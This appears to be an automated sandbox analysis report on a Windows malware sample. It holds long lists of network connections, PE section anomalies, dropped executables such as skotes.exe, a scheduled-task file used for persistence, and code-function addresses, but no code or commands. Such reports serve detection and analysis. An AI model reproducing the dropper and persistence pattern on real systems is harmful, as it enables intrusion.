Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140

Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.181.3:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.234.120.54:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50140 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name:
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsHIDHDAAEHI.exe.1.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name:
Source: skotes.exe.27.dr	Static PE information: section name: .idata
Source: skotes.exe.27.dr	Static PE information: section name:
Source: random[1].exe.36.dr	Static PE information: section name:
Source: random[1].exe.36.dr	Static PE information: section name: .rsrc
Source: random[1].exe.36.dr	Static PE information: section name: .idata
Source: random[1].exe.36.dr	Static PE information: section name:
Source: ca8a779a60.exe.36.dr	Static PE information: section name:
Source: ca8a779a60.exe.36.dr	Static PE information: section name: .rsrc
Source: ca8a779a60.exe.36.dr	Static PE information: section name: .idata
Source: ca8a779a60.exe.36.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	1_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C95F280

Source: C:\Users\user\DocumentsHIDHDAAEHI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9535A0	1_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C966C80	1_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B34A0	1_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BC4A0	1_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97D4D0	1_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9664C0	1_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C996CF0	1_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95D4E0	1_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C995C10	1_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A2C10	1_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CAC00	1_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C542B	1_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C545C	1_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C965440	1_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C990DD0	1_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B85F0	1_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97ED10	1_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C980512	1_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96FD00	1_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C975E90	1_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9BE680	1_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B4EA0	1_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95BEF0	1_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96FEF0	1_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C76E3	1_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C997E10	1_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A5600	1_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B9E30	1_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C979E50	1_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C993E50	1_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A2E4E	1_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C974640	1_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95C670	1_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C6E63	1_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A77A0	1_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C986FF0	1_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95DFE0	1_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C997710	1_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C969F00	1_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9860A0	1_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C50C7	1_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97C0E0	1_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9958E0	1_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C967810	1_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99B820	1_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9A4820	1_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C978850	1_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97D850	1_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C99F070	1_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C995190	1_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9B2990	1_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C98D9B0	1_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C95C9A0	1_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C97A940	1_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9AB970	1_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CB170	1_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96D960	1_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9CBA90	1_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C96CAB0	1_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9C2AB0	1_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C9522A0	1_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C984AA0	1_2_6C984AA0
